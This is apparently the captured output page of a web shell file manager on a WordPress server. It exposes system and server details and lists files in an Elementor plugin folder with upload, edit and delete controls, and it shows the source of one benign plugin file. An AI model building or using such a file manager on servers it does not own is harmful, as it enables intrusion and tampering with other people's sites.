[ SYSTEM ]: Linux wordpress 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
elementor
/
modules
/
atomic-widgets
/
props-resolver
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 transformers
SET
[ DEL ]
📄 import-export-props-resolver.php
1,159 B
SET
[ EDIT ]
|
[ DEL ]
📄 multi-props.php
535 B
SET
[ EDIT ]
|
[ DEL ]
📄 props-resolver-context.php
983 B
SET
[ EDIT ]
|
[ DEL ]
📄 props-resolver.php
2,816 B
SET
[ EDIT ]
|
[ DEL ]
📄 render-props-resolver.php
2,701 B
SET
[ EDIT ]
|
[ DEL ]
📄 transformer-base.php
252 B
SET
[ EDIT ]
|
[ DEL ]
📄 transformers-registry.php
676 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: import-export-props-resolver.php
<?php namespace Elementor\Modules\AtomicWidgets\PropsResolver; use Elementor\Modules\AtomicWidgets\PropTypes\Contracts\Prop_Type; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } class Import_Export_Props_Resolver extends Props_Resolver { const CONTEXT_IMPORT = 'import'; const CONTEXT_EXPORT = 'export'; public static function for_import() { return static::instance( self::CONTEXT_IMPORT ); } public static function for_export() { return static::instance( self::CONTEXT_EXPORT ); } public function resolve( array $schema, array $props ): array { $resolved = []; foreach ( $schema as $key => $prop_type ) { if ( ! ( $prop_type instanceof Prop_Type ) ) { continue; } $value = $this->resolve_item( $props[ $key ] ?? null, $key, $prop_type ); if ( null === $value ) { continue; } $resolved[ $key ] = $value; } return $resolved; } protected function resolve_item( $value, $key, Prop_Type $prop_type ) { if ( null === $value ) { return null; } if ( ! $this->is_transformable( $value ) ) { return $value; } return $this->transform( $value, $key, $prop_type ); } }